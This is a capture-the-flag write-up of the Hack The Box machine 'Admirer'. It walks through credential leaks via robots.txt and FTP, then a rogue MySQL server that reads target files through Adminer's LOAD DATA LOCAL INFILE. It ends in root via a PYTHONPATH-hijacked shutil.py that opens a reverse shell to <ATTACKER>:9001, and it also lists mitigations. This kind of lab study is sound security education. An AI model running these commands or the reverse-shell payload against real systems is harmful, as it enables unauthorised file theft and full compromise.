- OS: Linux (Debian 9 Stretch)
- Domain / vhosts:
admirer.htb
Summary
Admirer is a Linux Easy whose most distinctive technique is the rogue
MySQL server attack against Adminer 4.6.2. The box name and the tool name
are the double hint. Adminer is a single-file PHP database management tool;
its “connect to external server” feature allows an attacker to point it at
a MySQL server they control. When that server issues a LOAD DATA LOCAL
INFILE statement, the MySQL client library running inside Adminer reads a
file from the target server’s filesystem and sends the contents to the
attacker — an effective server-side file read with no authentication other
than a valid session on the Adminer UI.
Kill-chain: robots.txt leaks /admin-dir → credential file inside gives
FTP creds → FTP returns an archived source snapshot that reveals the
/utility-scripts/ path prefix → gobuster finds adminer.php → rogue MySQL
server reads live index.php → SSH as waldo → sudo SETENV on a shell
script that runs a Python backup utility → PYTHONPATH poisoning with a
fake shutil module → root.
Source attribution
- 0xdf, “HTB: Admirer” — https://0xdf.gitlab.io/2020/09/26/htb-admirer.html.
Primary source. Covers the
/admin-dircredential chain, the Adminer rogue MySQL technique, and the SETENV/PYTHONPATH privesc. - IppSec, “Admirer” video walkthrough — https://ippsec.rocks/?#Admirer.
Recon
nmap -sC -sV -oN nmap/initial.txt <TARGET>
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 9
80/tcp open http Apache httpd 2.4.25 (Debian)
Three ports. The FTP and web surfaces are the entry points.
Web enumeration — robots.txt and /admin-dir
curl http://<TARGET>/robots.txt
User-agent: *
# Personal Contacts and Creds - Loss prevention
Disallow: /admin-dir
The comment names user waldo and suggests credentials are stored there.
Gobuster with extensions on the path:
gobuster dir -u http://<TARGET>/admin-dir/ \
-w /usr/share/seclists/Discovery/Web-Content/big.txt \
-x php,txt
/admin-dir/contacts.txt (200)
/admin-dir/credentials.txt (200)
credentials.txt contains three credential sets, including FTP:
[FTP account]
ftpuser
%n?4Wz}R$tTF7
FTP — archived source code
ftp <TARGET>
# user: ftpuser pass: %n?4Wz}R$tTF7
ftp> ls
# dump.sql html.tar.gz
ftp> get html.tar.gz
Extract the archive locally. It contains an older snapshot of the web root
with a utility-scripts/ directory listing admin_tasks.php, db_admin.php,
info.php, and phptest.php. The archived index.php and db_admin.php
contain database credentials, but these are stale — they do not work on
the live server. The archive’s value is the path hint: utility-scripts/.
Adminer discovery and rogue MySQL file read
Run gobuster against the live /utility-scripts/ path with a comprehensive
wordlist:
gobuster dir -u http://<TARGET>/utility-scripts/ \
-w /usr/share/seclists/Discovery/Web-Content/big.txt \
-x php
/utility-scripts/adminer.php (200) ← Adminer 4.6.2
Adminer’s login form accepts not only the local database server but any
external host. The rogue MySQL technique exploits this: point Adminer at
an attacker-controlled MySQL server, then issue LOAD DATA LOCAL INFILE
from that server — the MySQL client library inside Adminer reads a local
file from the target and sends its contents to the attacker.
Step 1 — Set up the attacker MySQL server:
# Edit /etc/mysql/mariadb.conf.d/50-server.cnf:
# bind-address = 0.0.0.0
sudo systemctl restart mariadb
mysql -u root -p
CREATE DATABASE pwn;
USE pwn;
CREATE TABLE exfil (data TEXT);
GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%' IDENTIFIED BY 'password123';
FLUSH PRIVILEGES;
Step 2 — Connect Adminer to the attacker server:
In the Adminer UI at http://<TARGET>/utility-scripts/adminer.php, enter:
- Server:
<ATTACKER> - Username:
attacker - Password:
password123 - Database:
pwn
Step 3 — Trigger file read with SQL:
Once connected, run the query:
LOAD DATA LOCAL INFILE '/var/www/html/index.php'
INTO TABLE exfil
FIELDS TERMINATED BY "\n";
Adminer’s connection to the attacker’s MySQL server causes the local
MySQL client (running on the target) to read /var/www/html/index.php and
send it to the attacker’s server.
Step 4 — Retrieve the exfiltrated data:
SELECT * FROM pwn.exfil;
The live index.php contains the current database credentials:
$databaseName = 'admirerdb';
$username = 'waldo';
$password = '&<h5b~yK3F#{PaPB&dA}{H>';
SSH as waldo
ssh waldo@<TARGET>
# Password: &<h5b~yK3F#{PaPB&dA}{H>
user.txt is at /home/waldo/user.txt.
Privilege escalation — SETENV sudo + PYTHONPATH hijack
waldo@admirer:~$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
SETENV allows the caller to pass environment variables through sudo even
when env_reset is in effect. sudo’s secure_path restricts PATH, but
it does not restrict PYTHONPATH.
/opt/scripts/admin_tasks.sh contains multiple options; option 6 runs:
/opt/scripts/backup.py
/opt/scripts/backup.py:
from shutil import make_archive
src = '/var/www/html/'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
Python resolves shutil through sys.path, checking PYTHONPATH directories
first. Creating a malicious shutil.py in a directory controlled by the
attacker and injecting that directory via PYTHONPATH causes the backup
script — running as root under sudo — to import the fake module instead of
the real one.
Create the malicious module (use /var/tmp/; /dev/shm is noexec on
this box):
# /var/tmp/shutil.py
import socket, subprocess, os
def make_archive(a, b, c):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<ATTACKER>", 9001))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
Set up listener and trigger:
# Attack machine
nc -lvnp 9001
# Target
sudo PYTHONPATH=/var/tmp /opt/scripts/admin_tasks.sh
# Select option 6 (Backup /var/www/html)
# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
- Adminer
LOAD DATA LOCAL INFILEvia rogue server: theLOCALmodifier in MySQL’sLOAD DATAstatement instructs the client (not the server) to read the file from its local filesystem. When Adminer connects to an attacker-controlled MySQL server, the server can issue this statement and the MySQL client library running inside the PHP process reads a file from the web server’s local filesystem. Adminer 4.7.0 added a blocklist to prevent connections to privileged ports; 4.6.2 has no such protection. - Stale credentials in FTP archive: the FTP content is an older snapshot
and the DB passwords have since been rotated. The archive’s value is
entirely in the directory structure it reveals (specifically, the
utility-scripts/path prefix that leads toadminer.php). SETENVin sudoers overridesenv_reset: sudo’senv_resetstrips most environment variables from the child process.SETENVis an explicit per-rule exception that allows the caller to pass through or set specific environment variables.secure_pathonly restricts the executable search path (PATH) and does not affect Python’s module search path (PYTHONPATH), which is a Python-level variable, not a POSIX one.- Python’s
PYTHONPATHprecedes standard library paths: Python’s import machinery searches directories insys.pathin order:PYTHONPATHentries first, then the installation’slib/directories. A file namedshutil.pyin anyPYTHONPATHdirectory shadows the realshutilmodule, and anyfrom shutil import ...statement imports the fake one.
Counterfactuals
- Remove the credential file from the web root.
/admin-dir/credentials.txtshould not be in a web-accessible directory regardless ofrobots.txt(which is advisory, not access-control). - Upgrade Adminer to 4.7.0+ (the version that blocks connections to private IP ranges and privileged ports), or remove the Adminer installation from production. Database admin tools should not be publicly accessible.
- Restrict
LOAD DATA LOCAL INFILEon the server side: the attacker’s MySQL server must havelocal_infile=1; on the target, the PHP/MySQL client would need to have local infile enabled. Consider settinglocal_infile=0on MySQL clients if not required. - Replace
SETENV: /opt/scripts/admin_tasks.shwith a specific, fixed invocation that does not inherit attacker-controlled environment. If the Python backup script must be run as root, wrap it in a setuid binary written in C that does not respectPYTHONPATH, or setPYTHONPATH= sudo ...in the sudoers rule to clear it.
Key Takeaways
robots.txtis a reconnaissance target, not access control. Any path inDisallow:should be the first thing enumerated — the designer placed the credential file there precisely because operators expected the path to be “hidden”.- When an archived/backup source code copy contains stale credentials, its real value is usually path structure, not the credentials themselves. Look for directory names, filenames, and URL patterns that might not be visible in the live application.
- Adminer (and phpMyAdmin) “connect to external server” features are an
SSRF-adjacent attack surface. An attacker who can point the tool at their
own server can exploit the MySQL client’s
LOAD DATA LOCAL INFILEto read arbitrary files from the web server’s filesystem. SETENVin a sudoers rule allowsPYTHONPATHinjection. Any sudo rule withSETENVthat runs a Python script is exploitable viaPYTHONPATH./dev/shmmay benoexecon hardened boxes; use/var/tmpor/tmpinstead.
References
- 0xdf, “HTB: Admirer” — https://0xdf.gitlab.io/2020/09/26/htb-admirer.html
- IppSec, “Admirer” — https://ippsec.rocks/?#Admirer
- Adminer file disclosure technique (rogue MySQL server / LOAD DATA LOCAL INFILE)